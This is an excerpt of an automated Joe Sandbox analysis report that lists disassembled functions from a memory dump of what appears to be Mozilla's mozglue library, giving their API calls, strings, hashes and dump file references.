Opcode ID: 02475089556b6c09a899e6bab1fced7bce31bd29cf71b9afc268fe706d54a073
Instruction ID: 863f0edb06103cfacb8b987aec077401a2dd10caab1af0c145d4fbc6c51f489f
Opcode Fuzzy Hash: 02475089556b6c09a899e6bab1fced7bce31bd29cf71b9afc268fe706d54a073
Instruction Fuzzy Hash: 8E41D5B2D002158FCB00DF69DC80DAEB7B5FB88321F260669E825E7780E731AD1187D5

Function 6C4EEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C565104), ref: 6C4EEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4EEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4EEFEC
free.MOZGLUE(?), ref: 6C4EF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4EF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C4EF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4EF065
moz_xmalloc.MOZGLUE ref: 6C4EF072

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 47143c54e4121ee95f36ca9d35d52dc94d0ede05b889239a745328aa896cd2f4
Instruction ID: 33baca3fbbbcdc8d968ee79fec28e71a82f10a0890d5c728d4a6b4ff9e733c54
Opcode Fuzzy Hash: 47143c54e4121ee95f36ca9d35d52dc94d0ede05b889239a745328aa896cd2f4
Instruction Fuzzy Hash: 2E41F4B1E002059FDB08CF68EC81DAE7765EF88324B25062DE815DB794EB31E915C7E1

Function 6C55B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C55B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C55B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C55B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C55B5F4
__Init_thread_footer.LIBCMT ref: 6C55B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C55B61F
std::_Facet_Register.LIBCPMT ref: 6C55B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55B655

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 10dcb3a1fd3aecfd812416e8dbf7ef2bfe7ebec51cddb18c068719962a68d62c
Instruction ID: 25806667afd95c9aa64a35abf579444fb4e7d9b976c8700cadbbdb005990cc44
Opcode Fuzzy Hash: 10dcb3a1fd3aecfd812416e8dbf7ef2bfe7ebec51cddb18c068719962a68d62c
Instruction Fuzzy Hash: 75319472F00114CBCB04EB6ACC58ABEB7B5FB8A324B560616E50197750DB30A9168B95

Function 6C526590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C51FA80: GetCurrentThreadId.KERNEL32 ref: 6C51FA8D
Part of subcall function 6C51FA80: AcquireSRWLockExclusive.KERNEL32(6C56F448), ref: 6C51FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C526727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5267C8

Part of subcall function 6C534290: memcpy.VCRUNTIME140(?,?,6C542003,6C540AD9,?,6C540AD9,00000000,?,6C540AD9,?,00000004,?,6C541A62,?,6C542003,?), ref: 6C5342C4

Strings

data, xrefs: 6C526593
vVl, xrefs: 6C52696C

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vVl
API String ID: 511789754-4200627858
Opcode ID: c2c083e612f4311f0117d5bf419193bf38363eeddf82bc15f59adf4de18e0de1
Instruction ID: a09af372c39a9d96287b5a51d3b090a91b51d716686c0b00c2b3f8a9611cccb0
Opcode Fuzzy Hash: c2c083e612f4311f0117d5bf419193bf38363eeddf82bc15f59adf4de18e0de1
Instruction Fuzzy Hash: 97D19A75A083408FD724CF25CC40B9EBBE1AFC5308F54492EE48987B91EB35A949CB92

Function 6C51D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C4EEB57,?,?,?,?,?,?,?,?,?), ref: 6C51D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C4EEB57,?), ref: 6C51D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C4EEB57,?), ref: 6C51D673
free.MOZGLUE(?), ref: 6C51D888

Strings

|Enabled, xrefs: 6C51D81E
WNl, xrefs: 6C51D5D9, 6C51D63F

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WNl$|Enabled
API String ID: 4142949111-2558305780
Opcode ID: 84676f8c990581195bf748d5510ddd866f6543706137a6c91e3724fc53030b9c
Instruction ID: 450c10ec16cbee0e6bb0f836e184e4566a55dc090c1066d419e5ced8dd27c792
Opcode Fuzzy Hash: 84676f8c990581195bf748d5510ddd866f6543706137a6c91e3724fc53030b9c
Instruction Fuzzy Hash: 08A106B0A043049FEB12CF69CCC4BAEBBF1AF49318F14855CD895ABB41D735A945CBA1

Function 6C4FB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C53CC83,?,?,?,?,?,?,?,?,?,6C53BCAE,?,?,6C52DC2C), ref: 6C4FB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C53CC83,?,?,?,?,?,?,?,?,?,6C53BCAE,?,?,6C52DC2C), ref: 6C4FB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C53CC83,?,?,?,?,?,?,?,?,?,6C53BCAE), ref: 6C4FB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C53CC83,?,?,?,?,?,?,?,?,?,6C53BCAE,?,?,6C52DC2C), ref: 6C4FB896

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 33a8b746289dbfb3a65d34b24ad262ef56bd6d4cfa8a6769da3b2c0858b0feb0
Instruction ID: 618b79d68667d185805b35eb59ae58ec24f7e724ec0c6d15101240c08f9bdb24
Opcode Fuzzy Hash: 33a8b746289dbfb3a65d34b24ad262ef56bd6d4cfa8a6769da3b2c0858b0feb0
Instruction Fuzzy Hash: 22518A757006048FCB15DF59C884E3ABBF5FFCA319B698559E9AA8B351C731E802CB84

Function 6C531D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C531D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C531BE3,?,?,6C531D96,00000000), ref: 6C531D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C531BE3,?,?,6C531D96,00000000), ref: 6C531D4C
GetCurrentThreadId.KERNEL32 ref: 6C531DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C531DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C531DDA

Part of subcall function 6C531EF0: GetCurrentThreadId.KERNEL32 ref: 6C531F03
Part of subcall function 6C531EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C531DF2,00000000,00000000), ref: 6C531F0C
Part of subcall function 6C531EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C531F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C531DF4

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 47214ee22d566623602b0dd4ef5e00947771b8fb6f7b0acf9a0770058681764f
Instruction ID: e9a6977ceeee7f808cd0364d7672c4ca29f469c0232e866bad4ce2f4fc30bc99
Opcode Fuzzy Hash: 47214ee22d566623602b0dd4ef5e00947771b8fb6f7b0acf9a0770058681764f
Instruction Fuzzy Hash: 894156B56007009FCB10DF29C888B66BBF9FB89324F11442EE99A87B51DB71F854CB95

Function 6C5284E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5284F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C52850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C52851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C52855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C52856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5285AC

Part of subcall function 6C527670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C52767F
Part of subcall function 6C527670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C527693
Part of subcall function 6C527670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5276A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5285B2

Part of subcall function 6C505E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C505EDB
Part of subcall function 6C505E90: memset.VCRUNTIME140(ewTl,000000E5,?), ref: 6C505F27
Part of subcall function 6C505E90: LeaveCriticalSection.KERNEL32(?), ref: 6C505FB2

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 39e07a573f7d91ed51b15a61c1aa8a1d643b07c30e6f0cea66ab5954d27a76b6
Instruction ID: d91622da5e36b8631b2754c868ca1eb8cafa178378d9b45a4221211d82a06c11
Opcode Fuzzy Hash: 39e07a573f7d91ed51b15a61c1aa8a1d643b07c30e6f0cea66ab5954d27a76b6
Instruction Fuzzy Hash: 17219E713016019FDB14DB69CC88A6A77F5AF8431CF140829E59BC3B82EB35F948CB56

Function 6C4F1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4F1699
VerSetConditionMask.NTDLL ref: 6C4F16CB
VerSetConditionMask.NTDLL ref: 6C4F16D7
VerSetConditionMask.NTDLL ref: 6C4F16DE
VerSetConditionMask.NTDLL ref: 6C4F16E5
VerSetConditionMask.NTDLL ref: 6C4F16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4F16F9

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 725a8d0dd5c655630a4c012a56fba7f139cca07bdf479e73cdafa2463362c29e
Instruction ID: f3a428e47cd2f8e85bc870b298a4fdd4d813234fb18c3f83184acc2f47eb0af3
Opcode Fuzzy Hash: 725a8d0dd5c655630a4c012a56fba7f139cca07bdf479e73cdafa2463362c29e
Instruction Fuzzy Hash: 112102F0B402086BFB11AA698C85FBFB3BCEFD6704F014528F6449B690C6B49D558AA1

Function 6C52F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C52F598), ref: 6C52F621

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

GetCurrentThreadId.KERNEL32 ref: 6C52F637
AcquireSRWLockExclusive.KERNEL32(6C56F4B8,?,?,00000000,?,6C52F598), ref: 6C52F645
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8,?,?,00000000,?,6C52F598), ref: 6C52F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C52F62A

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: e07b4acf41703333bc691b47db5d3f9b89a83be2de4f091dc56ce61a50dfdd40
Instruction ID: 34f3b82af90912c09e1e494dda3ed8bb1756c07738cb848053a23c1dcc8a4ba0
Opcode Fuzzy Hash: e07b4acf41703333bc691b47db5d3f9b89a83be2de4f091dc56ce61a50dfdd40
Instruction Fuzzy Hash: 8711C131705214ABCB04AF1EDC48AA5B7B9FBC6359B110115FA0583F62CB36AC15CBA4

Function 6C4F2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

LoadLibraryW.KERNEL32(combase.dll,6C4F1C5F), ref: 6C4F20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C4F20CD
__Init_thread_footer.LIBCMT ref: 6C4F20E1
FreeLibrary.KERNEL32 ref: 6C4F2124

Strings

CoInitializeSecurity, xrefs: 6C4F20C7
combase.dll, xrefs: 6C4F20A9

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 4136e47fb6bfa61b74c4bde936434871b31a60271355e6b685eefc79854fb032
Instruction ID: c11a317eddbacffe0990ee18b3fbb715f0b2eaa2dd7694b1306a566493c7d53c
Opcode Fuzzy Hash: 4136e47fb6bfa61b74c4bde936434871b31a60271355e6b685eefc79854fb032
Instruction Fuzzy Hash: DF21D032600149EFDF11CF5ADC48EAA3B76FB9A325F014215FA1092621DB319C62DF55

Function 6C5476C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5476F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C547705

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C547717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C54778F,00000000,00000000,00000000,00000000), ref: 6C547731
free.MOZGLUE(00000000), ref: 6C547760

Strings

}>Rl, xrefs: 6C5476C4

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Rl
API String ID: 2538299546-1517124962
Opcode ID: 6987373e83371895a6ec170e541ac04199753ace3add9b5dad91868938bd0485
Instruction ID: 1180ac76f7897912ce4951389eae9e45c69892081eddf832b6d5cd27e8d7d901
Opcode Fuzzy Hash: 6987373e83371895a6ec170e541ac04199753ace3add9b5dad91868938bd0485
Instruction Fuzzy Hash: 7211C8B1D00215ABDB10AF7A9C44B6BBEE8EF45394F044529F888D7300E7709C44CBE2

Function 6C4F1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C4F1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C4F1FFD
__Init_thread_footer.LIBCMT ref: 6C4F2011
FreeLibrary.KERNEL32 ref: 6C4F2059

Strings

CoCreateInstance, xrefs: 6C4F1FF7
combase.dll, xrefs: 6C4F1FD9

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 89941940ce04f70810052795b4e590eb44566cfa836dcc54251605be8e6edf5d
Instruction ID: 74f6d2a3b52570affa30420cf0ca2c3702049cf66023ce0781d472e8c79a2747
Opcode Fuzzy Hash: 89941940ce04f70810052795b4e590eb44566cfa836dcc54251605be8e6edf5d
Instruction Fuzzy Hash: 8111AF75601244AFEF20DF1ACC4CE663B79FB96319F014215FA1492B61CB319C45CBA5

Function 6C4F0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C51D9F0,00000000), ref: 6C4F0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C4F0F3C
__Init_thread_footer.LIBCMT ref: 6C4F0F50
FreeLibrary.KERNEL32(?,6C51D9F0,00000000), ref: 6C4F0F86

Strings

combase.dll, xrefs: 6C4F0F18
CoInitializeEx, xrefs: 6C4F0F36

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: e02eb548886dde5340861cc9f020ea985b4bfb370d700d8e07cbeaae8d54cef9
Instruction ID: bef67083e63b85b9be4fc2a0aa92c03712e519f59769ab36114c5a042d555589
Opcode Fuzzy Hash: e02eb548886dde5340861cc9f020ea985b4bfb370d700d8e07cbeaae8d54cef9
Instruction Fuzzy Hash: 58115474B052409BEF10DF5ECD18F6A3774F7D6326B014316E91592B61D7709C06CA6A

Function 6C52F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F561

